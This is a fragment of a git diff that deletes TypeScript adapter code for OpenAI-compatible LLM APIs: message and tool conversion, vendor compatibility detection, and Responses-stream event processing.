include_usage: true }; - } - - if (compat.supportsStore) { - params.store = false; - } - - if (options?.maxTokens) { - if (compat.maxTokensField === "max_tokens") { - // max_tokens is a deprecated but valid field on ChatCompletionCreateParamsBase, - // kept for providers (e.g. chutes.ai) that reject max_completion_tokens. - params.max_tokens = options.maxTokens; - } else { - params.max_completion_tokens = options.maxTokens; - } - } - - if (options?.temperature !== undefined) { - params.temperature = options.temperature; - } - - if (context.tools && context.tools.length > 0) { - params.tools = convertTools(context.tools, compat); - maybeAddOpenRouterAnthropicToolCacheControl(model, params.tools); - } else if (hasToolHistory(context.messages)) { - // Anthropic (via LiteLLM/proxy) requires tools param when conversation has tool_calls/tool_results - params.tools = []; - } - - if (options?.toolChoice) { - params.tool_choice = options.toolChoice; - } - - // For vendor-specific fields not in ChatCompletionCreateParamsBase, use a typed extension object. - const paramsExt = params as unknown as Record; - - if ( - (compat.thinkingFormat === "zai" || compat.thinkingFormat === "qwen") && - model.reasoning - ) { - // SDK-divergence: enable_thinking is a Z.ai / Qwen vendor extension not in the OpenAI SDK type. - paramsExt.enable_thinking = !!options?.reasoningEffort; - } else if ( - options?.reasoningEffort && - model.reasoning && - compat.supportsReasoningEffort - ) { - // reasoning_effort is in ChatCompletionCreateParamsBase, but mapReasoningEffort returns a - // plain string (from a provider-specific map) which may not match the SDK's ReasoningEffort - // literal union — cast to the SDK type to satisfy the checker. - params.reasoning_effort = mapReasoningEffort( - options.reasoningEffort, - compat.reasoningEffortMap, - ) as ChatCompletionReasoningEffort; - } - - // OpenRouter provider routing preferences - if ( - model.baseUrl.includes("openrouter.ai") && - model.compat?.openRouterRouting - ) { - // SDK-divergence: provider routing is an OpenRouter vendor extension not in the OpenAI SDK type. - paramsExt.provider = model.compat.openRouterRouting; - } - - // Vercel AI Gateway provider routing preferences - if ( - model.baseUrl.includes("ai-gateway.vercel.sh") && - model.compat?.vercelGatewayRouting - ) { - const routing = model.compat.vercelGatewayRouting; - if (routing.only || routing.order) { - const gatewayOptions: Record = {}; - if (routing.only) gatewayOptions.only = routing.only; - if (routing.order) gatewayOptions.order = routing.order; - // SDK-divergence: providerOptions is a Vercel AI Gateway vendor extension not in the OpenAI SDK type. - paramsExt.providerOptions = { gateway: gatewayOptions }; - } - } - - return params; -} - -function maybeAddOpenRouterAnthropicToolCacheControl( - model: Model<"openai-completions">, - tools: OpenAI.Chat.Completions.ChatCompletionTool[] | undefined, -): void { - if (model.provider !== "openrouter" || !model.id.startsWith("anthropic/")) - return; - if (!tools?.length) return; - - const lastTool = tools[tools.length - 1]; - if ("function" in lastTool) { - Object.assign(lastTool.function, { cache_control: { type: "ephemeral" } }); - } -} - -function mapReasoningEffort( - effort: NonNullable, - reasoningEffortMap: Partial< - Record, string> - >, -): string { - return reasoningEffortMap[effort] ?? effort; -} - -function maybeAddOpenRouterAnthropicCacheControl( - model: Model<"openai-completions">, - messages: ChatCompletionMessageParam[], -): void { - if (model.provider !== "openrouter" || !model.id.startsWith("anthropic/")) - return; - - // Anthropic-style caching requires cache_control on a text part. Add a breakpoint - // on the last user/assistant message (walking backwards until we find text content). - for (let i = messages.length - 1; i >= 0; i--) { - const msg = messages[i]; - if (msg.role !== "user" && msg.role !== "assistant") continue; - - const content = msg.content; - if (typeof content === "string") { - msg.content = [ - Object.assign( - { type: "text" as const, text: content }, - { cache_control: { type: "ephemeral" } }, - ), - ]; - return; - } - - if (!Array.isArray(content)) continue; - - // Find last text part and add cache_control - for (let j = content.length - 1; j >= 0; j--) { - const part = content[j]; - if (part?.type === "text") { - Object.assign(part, { cache_control: { type: "ephemeral" } }); - return; - } - } - } -} - -export function convertMessages( - model: Model<"openai-completions">, - context: Context, - compat: Required, -): ChatCompletionMessageParam[] { - const params: ChatCompletionMessageParam[] = []; - - const normalizeToolCallId = (id: string): string => { - // Handle pipe-separated IDs from OpenAI Responses API - // Format: {call_id}|{id} where {id} can be 400+ chars with special chars (+, /, =) - // These come from providers like github-copilot, openai-codex, opencode - // Extract just the call_id part and normalize it - if (id.includes("|")) { - const [callId] = id.split("|"); - // Sanitize to allowed chars and truncate to 40 chars (OpenAI limit) - return callId.replace(/[^a-zA-Z0-9_-]/g, "_").slice(0, 40); - } - - if (model.provider === "openai") - return id.length > 40 ? id.slice(0, 40) : id; - return id; - }; - - const transformedMessages = transformMessagesWithReport( - context.messages, - model, - (id) => normalizeToolCallId(id), - "openai-completions", - ); - - if (context.systemPrompt) { - const useDeveloperRole = model.reasoning && compat.supportsDeveloperRole; - const role = useDeveloperRole ? "developer" : "system"; - params.push({ - role: role, - content: sanitizeSurrogates(context.systemPrompt), - }); - } - - let lastRole: string | null = null; - - for (let i = 0; i < transformedMessages.length; i++) { - const msg = transformedMessages[i]; - // Some providers don't allow user messages directly after tool results - // Insert a synthetic assistant message to bridge the gap - if ( - compat.requiresAssistantAfterToolResult && - lastRole === "toolResult" && - msg.role === "user" - ) { - params.push({ - role: "assistant", - content: "I have processed the tool results.", - }); - } - - if (msg.role === "user") { - if (typeof msg.content === "string") { - params.push({ - role: "user", - content: sanitizeSurrogates(msg.content), - }); - } else { - const content: ChatCompletionContentPart[] = msg.content.map( - (item): ChatCompletionContentPart => { - if (item.type === "text") { - return { - type: "text", - text: sanitizeSurrogates(item.text), - } satisfies ChatCompletionContentPartText; - } else { - return { - type: "image_url", - image_url: { - url: `data:${item.mimeType};base64,${item.data}`, - }, - } satisfies ChatCompletionContentPartImage; - } - }, - ); - const filteredContent = !model.input.includes("image") - ? content.filter((c) => c.type !== "image_url") - : content; - if (filteredContent.length === 0) continue; - params.push({ - role: "user", - content: filteredContent, - }); - } - } else if (msg.role === "assistant") { - // Some providers don't accept null content, use empty string instead - const assistantMsg: ChatCompletionAssistantMessageParam = { - role: "assistant", - content: compat.requiresAssistantAfterToolResult ? "" : null, - }; - - const textBlocks = msg.content.filter( - (b) => b.type === "text", - ) as TextContent[]; - // Filter out empty text blocks to avoid API validation errors - const nonEmptyTextBlocks = textBlocks.filter( - (b) => b.text && b.text.trim().length > 0, - ); - if (nonEmptyTextBlocks.length > 0) { - // GitHub Copilot requires assistant content as a string, not an array. - // Sending as array causes Claude models to re-answer all previous prompts. - if (model.provider === "github-copilot") { - assistantMsg.content = nonEmptyTextBlocks - .map((b) => sanitizeSurrogates(b.text)) - .join(""); - } else { - assistantMsg.content = nonEmptyTextBlocks.map((b) => { - return { type: "text", text: sanitizeSurrogates(b.text) }; - }); - } - } - - // Handle thinking blocks - const thinkingBlocks = msg.content.filter( - (b) => b.type === "thinking", - ) as ThinkingContent[]; - // Filter out empty thinking blocks to avoid API validation errors - const nonEmptyThinkingBlocks = thinkingBlocks.filter( - (b) => b.thinking && b.thinking.trim().length > 0, - ); - if (nonEmptyThinkingBlocks.length > 0) { - if (compat.requiresThinkingAsText) { - // Convert thinking blocks to plain text (no tags to avoid model mimicking them) - const thinkingText = nonEmptyThinkingBlocks - .map((b) => b.thinking) - .join("\n\n"); - const textContent = assistantMsg.content as Array<{ - type: "text"; - text: string; - }> | null; - if (textContent) { - textContent.unshift({ type: "text", text: thinkingText }); - } else { - assistantMsg.content = [{ type: "text", text: thinkingText }]; - } - } else { - // Use the signature from the first thinking block if available (for llama.cpp server + gpt-oss) - const signature = nonEmptyThinkingBlocks[0].thinkingSignature; - if (signature && signature.length > 0) { - // SDK-divergence: llama.cpp / gpt-oss return a dynamic per-field name for the - // reasoning content (e.g. "reasoning_content"). The field is not in - // ChatCompletionAssistantMessageParam, so we use a typed extension object. - (assistantMsg as unknown as Record)[signature] = - nonEmptyThinkingBlocks.map((b) => b.thinking).join("\n"); - } - } - } - - const toolCalls = msg.content.filter( - (b) => b.type === "toolCall", - ) as ToolCall[]; - if (toolCalls.length > 0) { - assistantMsg.tool_calls = toolCalls.map((tc) => ({ - id: tc.id, - type: "function" as const, - function: { - name: tc.name, - arguments: JSON.stringify( - sanitizeToolCallArgumentsForSerialization(tc.arguments), - ), - }, - })); - const reasoningDetails = toolCalls - .filter((tc) => tc.thoughtSignature) - .map((tc) => { - try { - return JSON.parse(tc.thoughtSignature!); - } catch { - return null; - } - }) - .filter(Boolean); - if (reasoningDetails.length > 0) { - // SDK-divergence: reasoning_details is a vendor extension (gpt-oss / OpenAI Responses - // compat path) not present on ChatCompletionAssistantMessageParam. - ( - assistantMsg as unknown as Record - ).reasoning_details = reasoningDetails; - } - } - // Skip assistant messages that have no content and no tool calls. - // Some providers require "either content or tool_calls, but not none". - // Other providers also don't accept empty assistant messages. - // This handles aborted assistant responses that got no content. - const content = assistantMsg.content; - const hasContent = - content !== null && - content !== undefined && - (typeof content === "string" ? content.length > 0 : content.length > 0); - if (!hasContent && !assistantMsg.tool_calls) { - continue; - } - params.push(assistantMsg); - } else if (msg.role === "toolResult") { - const imageBlocks: Array<{ - type: "image_url"; - image_url: { url: string }; - }> = []; - let j = i; - - for ( - ; - j < transformedMessages.length && - transformedMessages[j].role === "toolResult"; - j++ - ) { - const toolMsg = transformedMessages[j] as ToolResultMessage; - - // Extract text and image content - const textResult = toolMsg.content - .filter((c) => c.type === "text") - .map((c) => (c as TextContent).text) - .join("\n"); - const hasImages = toolMsg.content.some((c) => c.type === "image"); - - // Always send tool result with text (or placeholder if only images) - const hasText = textResult.length > 0; - // Some providers require the 'name' field in tool results - const toolResultMsg: ChatCompletionToolMessageParam = { - role: "tool", - content: sanitizeSurrogates( - hasText ? textResult : "(see attached image)", - ), - tool_call_id: toolMsg.toolCallId, - }; - if (compat.requiresToolResultName && toolMsg.toolName) { - // SDK-divergence: the `name` field on tool results is required by some providers - // (e.g., Mistral) but is not part of the ChatCompletionToolMessageParam type. - (toolResultMsg as unknown as Record).name = - toolMsg.toolName; - } - params.push(toolResultMsg); - - if (hasImages && model.input.includes("image")) { - for (const block of toolMsg.content) { - if (block.type === "image") { - const imageBlock = block as ImageContent; - imageBlocks.push({ - type: "image_url", - image_url: { - url: `data:${imageBlock.mimeType};base64,${imageBlock.data}`, - }, - }); - } - } - } - } - - i = j - 1; - - if (imageBlocks.length > 0) { - if (compat.requiresAssistantAfterToolResult) { - params.push({ - role: "assistant", - content: "I have processed the tool results.", - }); - } - - params.push({ - role: "user", - content: [ - { - type: "text", - text: "Attached image(s) from tool result:", - }, - ...imageBlocks, - ], - }); - lastRole = "user"; - } else { - lastRole = "toolResult"; - } - continue; - } - - lastRole = msg.role; - } - - return params; -} - -function convertTools( - tools: Tool[], - compat: Required, -): OpenAI.Chat.Completions.ChatCompletionTool[] { - return tools.map((tool) => ({ - type: "function", - function: { - name: tool.name, - description: tool.description, - parameters: tool.parameters as unknown as FunctionParameters, // TypeBox TSchema is a valid JSON Schema object - // Only include strict if provider supports it. Some reject unknown fields. - ...(compat.supportsStrictMode !== false && { strict: false }), - }, - })); -} - -function mapStopReason( - reason: ChatCompletionChunk.Choice["finish_reason"], -): StopReason { - if (reason === null) return "stop"; - switch (reason) { - case "stop": - return "stop"; - case "length": - return "length"; - case "function_call": - case "tool_calls": - return "toolUse"; - case "content_filter": - return "error"; - default: - // Third-party and community models (e.g. Qwen GGUF quants) may emit - // non-standard finish_reason values like "eos_token", "eos", or - // "end_of_turn". The OpenAI spec defines finish_reason as a string, - // so we treat unrecognized values as a normal stop rather than - // throwing — which would abort in-flight tool calls (#863). - return "stop"; - } -} - -/** - * Detect compatibility settings from provider and baseUrl for known providers. - * Provider takes precedence over URL-based detection since it's explicitly configured. - * Returns a fully resolved OpenAICompletionsCompat object with all fields set. - */ -function detectCompat( - model: Model<"openai-completions">, -): Required { - const provider = model.provider; - const baseUrl = model.baseUrl; - - const isZai = provider === "zai" || baseUrl.includes("api.z.ai"); - - const isNonStandard = - provider === "cerebras" || - baseUrl.includes("cerebras.ai") || - provider === "xai" || - baseUrl.includes("api.x.ai") || - baseUrl.includes("chutes.ai") || - baseUrl.includes("deepseek.com") || - isZai || - provider === "opencode" || - baseUrl.includes("opencode.ai"); - - const useMaxTokens = baseUrl.includes("chutes.ai"); - - const isGrok = provider === "xai" || baseUrl.includes("api.x.ai"); - const isGroq = provider === "groq" || baseUrl.includes("groq.com"); - - const reasoningEffortMap = - isGroq && model.id === "qwen/qwen3-32b" - ? { - minimal: "default", - low: "default", - medium: "default", - high: "default", - xhigh: "default", - } - : {}; - return { - supportsStore: !isNonStandard, - supportsDeveloperRole: !isNonStandard, - supportsReasoningEffort: !isGrok && !isZai, - reasoningEffortMap, - supportsUsageInStreaming: true, - maxTokensField: useMaxTokens ? "max_tokens" : "max_completion_tokens", - requiresToolResultName: false, - requiresAssistantAfterToolResult: false, - requiresThinkingAsText: false, - thinkingFormat: isZai ? "zai" : "openai", - openRouterRouting: {}, - vercelGatewayRouting: {}, - supportsStrictMode: true, - }; -} - -/** - * Get resolved compatibility settings for a model. - * Uses explicit model.compat if provided, otherwise auto-detects from provider/URL. - */ -function getCompat( - model: Model<"openai-completions">, -): Required { - const detected = detectCompat(model); - if (!model.compat) return detected; - - return { - supportsStore: model.compat.supportsStore ?? detected.supportsStore, - supportsDeveloperRole: - model.compat.supportsDeveloperRole ?? detected.supportsDeveloperRole, - supportsReasoningEffort: - model.compat.supportsReasoningEffort ?? detected.supportsReasoningEffort, - reasoningEffortMap: - model.compat.reasoningEffortMap ?? detected.reasoningEffortMap, - supportsUsageInStreaming: - model.compat.supportsUsageInStreaming ?? - detected.supportsUsageInStreaming, - maxTokensField: model.compat.maxTokensField ?? detected.maxTokensField, - requiresToolResultName: - model.compat.requiresToolResultName ?? detected.requiresToolResultName, - requiresAssistantAfterToolResult: - model.compat.requiresAssistantAfterToolResult ?? - detected.requiresAssistantAfterToolResult, - requiresThinkingAsText: - model.compat.requiresThinkingAsText ?? detected.requiresThinkingAsText, - thinkingFormat: model.compat.thinkingFormat ?? detected.thinkingFormat, - openRouterRouting: model.compat.openRouterRouting ?? {}, - vercelGatewayRouting: - model.compat.vercelGatewayRouting ?? detected.vercelGatewayRouting, - supportsStrictMode: - model.compat.supportsStrictMode ?? detected.supportsStrictMode, - }; -} diff --git a/packages/pi-ai/src/providers/openai-responses-shared.ts b/packages/pi-ai/src/providers/openai-responses-shared.ts deleted file mode 100644 index 9b1e601da..000000000 --- a/packages/pi-ai/src/providers/openai-responses-shared.ts +++ /dev/null @@ -1,586 +0,0 @@ -import type OpenAI from "openai"; -import type { - Tool as OpenAITool, - ResponseCreateParamsStreaming, - ResponseFunctionToolCall, - ResponseInput, - ResponseInputContent, - ResponseInputImage, - ResponseInputText, - ResponseOutputMessage, - ResponseReasoningItem, - ResponseStreamEvent, -} from "openai/resources/responses/responses.js"; -import { calculateCost } from "../models.js"; -import type { - Api, - AssistantMessage, - Context, - ImageContent, - Model, - StopReason, - TextContent, - TextSignatureV1, - ThinkingContent, - Tool, - ToolCall, - Usage, -} from "../types.js"; -import type { AssistantMessageEventStream } from "../utils/event-stream.js"; -import { shortHash } from "../utils/hash.js"; -import { parseStreamingJson } from "../utils/json-parse.js"; -import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; -import { sanitizeToolCallArgumentsForSerialization } from "./sanitize-tool-arguments.js"; -import { transformMessagesWithReport } from "./transform-messages.js"; - -// ============================================================================= -// Utilities -// ============================================================================= - -function encodeTextSignatureV1( - id: string, - phase?: TextSignatureV1["phase"], -): string { - const payload: TextSignatureV1 = { v: 1, id }; - if (phase) payload.phase = phase; - return JSON.stringify(payload); -} - -function parseTextSignature( - signature: string | undefined, -): { id: string; phase?: TextSignatureV1["phase"] } | undefined { - if (!signature) return undefined; - if (signature.startsWith("{")) { - try { - const parsed = JSON.parse(signature) as Partial; - if (parsed.v === 1 && typeof parsed.id === "string") { - if (parsed.phase === "commentary" || parsed.phase === "final_answer") { - return { id: parsed.id, phase: parsed.phase }; - } - return { id: parsed.id }; - } - } catch { - // Fall through to legacy plain-string handling. - } - } - return { id: signature }; -} - -export interface OpenAIResponsesStreamOptions { - serviceTier?: ResponseCreateParamsStreaming["service_tier"]; - applyServiceTierPricing?: ( - usage: Usage, - serviceTier: ResponseCreateParamsStreaming["service_tier"] | undefined, - ) => void; -} - -export interface ConvertResponsesMessagesOptions { - includeSystemPrompt?: boolean; -} - -export interface ConvertResponsesToolsOptions { - strict?: boolean | null; -} - -// ============================================================================= -// Message conversion -// ============================================================================= - -export function convertResponsesMessages( - model: Model, - context: Context, - allowedToolCallProviders: ReadonlySet, - options?: ConvertResponsesMessagesOptions, -): ResponseInput { - const messages: ResponseInput = []; - - const normalizeToolCallId = (id: string): string => { - if (!allowedToolCallProviders.has(model.provider)) return id; - if (!id.includes("|")) return id; - const [callId, itemId] = id.split("|"); - const sanitizedCallId = callId.replace(/[^a-zA-Z0-9_-]/g, "_"); - let sanitizedItemId = itemId.replace(/[^a-zA-Z0-9_-]/g, "_"); - // OpenAI Responses API requires item id to start with "fc" - if (!sanitizedItemId.startsWith("fc")) { - sanitizedItemId = `fc_${sanitizedItemId}`; - } - // Truncate to 64 chars and strip trailing underscores (OpenAI Codex rejects them) - let normalizedCallId = - sanitizedCallId.length > 64 - ? sanitizedCallId.slice(0, 64) - : sanitizedCallId; - let normalizedItemId = - sanitizedItemId.length > 64 - ? sanitizedItemId.slice(0, 64) - : sanitizedItemId; - normalizedCallId = normalizedCallId.replace(/_+$/, ""); - normalizedItemId = normalizedItemId.replace(/_+$/, ""); - return `${normalizedCallId}|${normalizedItemId}`; - }; - - const transformedMessages = transformMessagesWithReport( - context.messages, - model, - normalizeToolCallId, - "openai-responses", - ); - - const includeSystemPrompt = options?.includeSystemPrompt ?? true; - if (includeSystemPrompt && context.systemPrompt) { - const role = model.reasoning ? "developer" : "system"; - messages.push({ - role, - content: sanitizeSurrogates(context.systemPrompt), - }); - } - - let msgIndex = 0; - for (const msg of transformedMessages) { - if (msg.role === "user") { - if (typeof msg.content === "string") { - messages.push({ - role: "user", - content: [ - { type: "input_text", text: sanitizeSurrogates(msg.content) }, - ], - }); - } else { - const content: ResponseInputContent[] = msg.content.map( - (item): ResponseInputContent => { - if (item.type === "text") { - return { - type: "input_text", - text: sanitizeSurrogates(item.text), - } satisfies ResponseInputText; - } - return { - type: "input_image", - detail: "auto", - image_url: `data:${item.mimeType};base64,${item.data}`, - } satisfies ResponseInputImage; - }, - ); - const filteredContent = !model.input.includes("image") - ? content.filter((c) => c.type !== "input_image") - : content; - if (filteredContent.length === 0) continue; - messages.push({ - role: "user", - content: filteredContent, - }); - } - } else if (msg.role === "assistant") { - const output: ResponseInput = []; - const assistantMsg = msg as AssistantMessage; - const isDifferentModel = - assistantMsg.model !== model.id && - assistantMsg.provider === model.provider && - assistantMsg.api === model.api; - - for (const block of msg.content) { - if (block.type === "thinking") { - if (block.thinkingSignature) { - const reasoningItem = JSON.parse( - block.thinkingSignature, - ) as ResponseReasoningItem; - output.push(reasoningItem); - } - } else if (block.type === "text") { - const textBlock = block as TextContent; - const parsedSignature = parseTextSignature(textBlock.textSignature); - // OpenAI requires id to be max 64 characters - let msgId = parsedSignature?.id; - if (!msgId) { - msgId = `msg_${msgIndex}`; - } else if (msgId.length > 64) { - msgId = `msg_${shortHash(msgId)}`; - } - output.push({ - type: "message", - role: "assistant", - content: [ - { - type: "output_text", - text: sanitizeSurrogates(textBlock.text), - annotations: [], - }, - ], - status: "completed", - id: msgId, - phase: parsedSignature?.phase, - } satisfies ResponseOutputMessage); - } else if (block.type === "toolCall") { - const toolCall = block as ToolCall; - const [callId, itemIdRaw] = toolCall.id.split("|"); - let itemId: string | undefined = itemIdRaw; - - // For different-model messages, set id to undefined to avoid pairing validation. - // OpenAI tracks which fc_xxx IDs were paired with rs_xxx reasoning items. - // By omitting the id, we avoid triggering that validation (like cross-provider does). - if (isDifferentModel && itemId?.startsWith("fc_")) { - itemId = undefined; - } - - output.push({ - type: "function_call", - id: itemId, - call_id: callId, - name: toolCall.name, - arguments: JSON.stringify( - sanitizeToolCallArgumentsForSerialization(toolCall.arguments), - ), - }); - } - } - if (output.length === 0) continue; - messages.push(...output); - } else if (msg.role === "toolResult") { - // Extract text and image content - const textResult = msg.content - .filter((c): c is TextContent => c.type === "text") - .map((c) => c.text) - .join("\n"); - const hasImages = msg.content.some( - (c): c is ImageContent => c.type === "image", - ); - - // Always send function_call_output with text (or placeholder if only images) - const hasText = textResult.length > 0; - const [callId] = msg.toolCallId.split("|"); - messages.push({ - type: "function_call_output", - call_id: callId, - output: sanitizeSurrogates( - hasText ? textResult : "(see attached image)", - ), - }); - - // If there are images and model supports them, send a follow-up user message with images - if (hasImages && model.input.includes("image")) { - const contentParts: ResponseInputContent[] = []; - - // Add text prefix - contentParts.push({ - type: "input_text", - text: "Attached image(s) from tool result:", - } satisfies ResponseInputText); - - // Add images - for (const block of msg.content) { - if (block.type === "image") { - contentParts.push({ - type: "input_image", - detail: "auto", - image_url: `data:${block.mimeType};base64,${block.data}`, - } satisfies ResponseInputImage); - } - } - - messages.push({ - role: "user", - content: contentParts, - }); - } - } - msgIndex++; - } - - return messages; -} - -// ============================================================================= -// Tool conversion -// ============================================================================= - -export function convertResponsesTools( - tools: Tool[], - options?: ConvertResponsesToolsOptions, -): OpenAITool[] { - const strict = options?.strict === undefined ? false : options.strict; - return tools.map((tool) => ({ - type: "function", - name: tool.name, - description: tool.description, - parameters: tool.parameters as any, // TypeBox already generates JSON Schema - strict, - })); -} - -// ============================================================================= -// Stream processing -// ============================================================================= - -export async function processResponsesStream( - openaiStream: AsyncIterable, - output: AssistantMessage, - stream: AssistantMessageEventStream, - model: Model, - options?: OpenAIResponsesStreamOptions, -): Promise { - let currentItem: - | ResponseReasoningItem - | ResponseOutputMessage - | ResponseFunctionToolCall - | null = null; - let currentBlock: - | ThinkingContent - | TextContent - | (ToolCall & { partialJson: string }) - | null = null; - const blocks = output.content; - const blockIndex = () => blocks.length - 1; - - for await (const event of openaiStream) { - if (event.type === "response.output_item.added") { - const item = event.item; - if (item.type === "reasoning") { - currentItem = item; - currentBlock = { type: "thinking", thinking: "" }; - output.content.push(currentBlock); - stream.push({ - type: "thinking_start", - contentIndex: blockIndex(), - partial: output, - }); - } else if (item.type === "message") { - currentItem = item; - currentBlock = { type: "text", text: "" }; - output.content.push(currentBlock); - stream.push({ - type: "text_start", - contentIndex: blockIndex(), - partial: output, - }); - } else if (item.type === "function_call") { - currentItem = item; - currentBlock = { - type: "toolCall", - id: `${item.call_id}|${item.id}`, - name: item.name, - arguments: {}, - partialJson: item.arguments || "", - }; - output.content.push(currentBlock); - stream.push({ - type: "toolcall_start", - contentIndex: blockIndex(), - partial: output, - }); - } - } else if (event.type === "response.reasoning_summary_part.added") { - if (currentItem && currentItem.type === "reasoning") { - currentItem.summary = currentItem.summary || []; - currentItem.summary.push(event.part); - } - } else if (event.type === "response.reasoning_summary_text.delta") { - if ( - currentItem?.type === "reasoning" && - currentBlock?.type === "thinking" - ) { - currentItem.summary = currentItem.summary || []; - const lastPart = currentItem.summary[currentItem.summary.length - 1]; - if (lastPart) { - currentBlock.thinking += event.delta; - lastPart.text += event.delta; - stream.push({ - type: "thinking_delta", - contentIndex: blockIndex(), - delta: event.delta, - partial: output, - }); - } - } - } else if (event.type === "response.reasoning_summary_part.done") { - if ( - currentItem?.type === "reasoning" && - currentBlock?.type === "thinking" - ) { - currentItem.summary = currentItem.summary || []; - const lastPart = currentItem.summary[currentItem.summary.length - 1]; - if (lastPart) { - currentBlock.thinking += "\n\n"; - lastPart.text += "\n\n"; - stream.push({ - type: "thinking_delta", - contentIndex: blockIndex(), - delta: "\n\n", - partial: output, - }); - } - } - } else if (event.type === "response.content_part.added") { - if (currentItem?.type === "message") { - currentItem.content = currentItem.content || []; - // Filter out ReasoningText, only accept output_text and refusal - if ( - event.part.type === "output_text" || - event.part.type === "refusal" - ) { - currentItem.content.push(event.part); - } - } - } else if (event.type === "response.output_text.delta") { - if (currentItem?.type === "message" && currentBlock?.type === "text") { - if (!currentItem.content || currentItem.content.length === 0) { - continue; - } - const lastPart = currentItem.content[currentItem.content.length - 1]; - if (lastPart?.type === "output_text") { - currentBlock.text += event.delta; - lastPart.text += event.delta; - stream.push({ - type: "text_delta", - contentIndex: blockIndex(), - delta: event.delta, - partial: output, - }); - } - } - } else if (event.type === "response.refusal.delta") { - if (currentItem?.type === "message" && currentBlock?.type === "text") { - if (!currentItem.content || currentItem.content.length === 0) { - continue; - } - const lastPart = currentItem.content[currentItem.content.length - 1]; - if (lastPart?.type === "refusal") { - currentBlock.text += event.delta; - lastPart.refusal += event.delta; - stream.push({ - type: "text_delta", - contentIndex: blockIndex(), - delta: event.delta, - partial: output, - }); - } - } - } else if (event.type === "response.function_call_arguments.delta") { - if ( - currentItem?.type === "function_call" && - currentBlock?.type === "toolCall" - ) { - currentBlock.partialJson += event.delta; - currentBlock.arguments = parseStreamingJson(currentBlock.partialJson); - stream.push({ - type: "toolcall_delta", - contentIndex: blockIndex(), - delta: event.delta, - partial: output, - }); - } - } else if (event.type === "response.function_call_arguments.done") { - if ( - currentItem?.type === "function_call" && - currentBlock?.type === "toolCall" - ) { - currentBlock.partialJson = event.arguments; - currentBlock.arguments = parseStreamingJson(currentBlock.partialJson); - } - } else if (event.type === "response.output_item.done") { - const item = event.item; - - if (item.type === "reasoning" && currentBlock?.type === "thinking") { - currentBlock.thinking = - item.summary?.map((s) => s.text).join("\n\n") || ""; - currentBlock.thinkingSignature = JSON.stringify(item); - stream.push({ - type: "thinking_end", - contentIndex: blockIndex(), - content: currentBlock.thinking, - partial: output, - }); - currentBlock = null; - } else if (item.type === "message" && currentBlock?.type === "text") { - currentBlock.text = item.content - .map((c) => (c.type === "output_text" ? c.text : c.refusal)) - .join(""); - currentBlock.textSignature = encodeTextSignatureV1( - item.id, - item.phase ?? undefined, - ); - stream.push({ - type: "text_end", - contentIndex: blockIndex(), - content: currentBlock.text, - partial: output, - }); - currentBlock = null; - } else if (item.type === "function_call") { - const args = - currentBlock?.type === "toolCall" && currentBlock.partialJson - ? parseStreamingJson(currentBlock.partialJson) - : parseStreamingJson(item.arguments || "{}"); - const toolCall: ToolCall = { - type: "toolCall", - id: `${item.call_id}|${item.id}`, - name: item.name, - arguments: args, - }; - - currentBlock = null; - stream.push({ - type: "toolcall_end", - contentIndex: blockIndex(), - toolCall, - partial: output, - }); - } - } else if (event.type === "response.completed") { - const response = event.response; - if (response?.usage) { - const cachedTokens = - response.usage.input_tokens_details?.cached_tokens || 0; - output.usage = { - // OpenAI includes cached tokens in input_tokens, so subtract to get non-cached input - input: (response.usage.input_tokens || 0) - cachedTokens, - output: response.usage.output_tokens || 0, - cacheRead: cachedTokens, - cacheWrite: 0, - totalTokens: response.usage.total_tokens || 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }; - } - calculateCost(model, output.usage); - if (options?.applyServiceTierPricing) { - const serviceTier = response?.service_tier ?? options.serviceTier; - options.applyServiceTierPricing(output.usage, serviceTier); - } - // Map status to stop reason - output.stopReason = mapStopReason(response?.status); - if ( - output.content.some((b) => b.type === "toolCall") && - output.stopReason === "stop" - ) { - output.stopReason = "toolUse"; - } - } else if (event.type === "error") { - throw new Error( - `Error Code ${event.code}: ${event.message}` || "Unknown error", - ); - } else if (event.type === "response.failed") { - throw new Error("Unknown error"); - } - } -} - -function mapStopReason( - status: OpenAI.Responses.ResponseStatus | undefined, -): StopReason { - if (!status) return "stop"; - switch (status) { - case "completed": - return "stop"; - case "incomplete": - return "length"; - case "failed": - case "cancelled": - return "error"; - // These two are wonky ... - case "in_progress": - case "queued": - return "stop"; - default: { - const _exhaustive: never = status; - throw new Error(`Unhandled stop reason: ${_exhaustive}`); - } - } -} diff --git a/packages/pi-ai/src/providers/openai-responses.ts b/packages/pi-ai/src/providers/openai-responses.ts deleted file mode 100644 index 85840d327..000000000 --- a/packages/pi-ai/src/providers/openai-responses.ts +++ /dev/null @@ -1,267 +0,0 @@ -// Lazy-loaded: OpenAI SDK is imported on first use, not at startup. -// This avoids penalizing users who don't use OpenAI models. -import type { ResponseCreateParamsStreaming } from "openai/resources/responses/responses.js"; -import { getEnvApiKey } from "../env-api-keys.js"; -import { supportsXhigh } from "../models.js"; -import type { - CacheRetention, - Context, - Model, - SimpleStreamOptions, - StreamFunction, - StreamOptions, - Usage, -} from "../types.js"; -import { AssistantMessageEventStream } from "../utils/event-stream.js"; -import { - convertResponsesMessages, - convertResponsesTools, - processResponsesStream, -} from "./openai-responses-shared.js"; -import { - assertStreamSuccess, - buildInitialOutput, - clampReasoningForModel, - createOpenAIClient, - finalizeStream, - handleStreamError, -} from "./openai-shared.js"; -import { - buildBaseOptions, - clampReasoning, - isAutoReasoning, - resolveReasoningLevel, -} from "./simple-options.js"; - -const OPENAI_TOOL_CALL_PROVIDERS = new Set([ - "openai", - "openai-codex", - "opencode", -]); - -/** - * Resolve cache retention preference. - * Defaults to "short" and uses PI_CACHE_RETENTION for backward compatibility. - */ -function resolveCacheRetention( - cacheRetention?: CacheRetention, -): CacheRetention { - if (cacheRetention) { - return cacheRetention; - } - if ( - typeof process !== "undefined" && - process.env.PI_CACHE_RETENTION === "long" - ) { - return "long"; - } - return "short"; -} - -/** - * Get prompt cache retention based on cacheRetention and base URL. - * Only applies to direct OpenAI API calls (api.openai.com). - */ -function getPromptCacheRetention( - baseUrl: string, - cacheRetention: CacheRetention, -): "24h" | undefined { - if (cacheRetention !== "long") { - return undefined; - } - if (baseUrl.includes("api.openai.com")) { - return "24h"; - } - return undefined; -} - -// OpenAI Responses-specific options -export interface OpenAIResponsesOptions extends StreamOptions { - /** "auto" means no effort constraint — model decides its own reasoning depth (GPT-5+). */ - reasoningEffort?: "auto" | "minimal" | "low" | "medium" | "high" | "xhigh"; - reasoningSummary?: "auto" | "detailed" | "concise" | null; - serviceTier?: 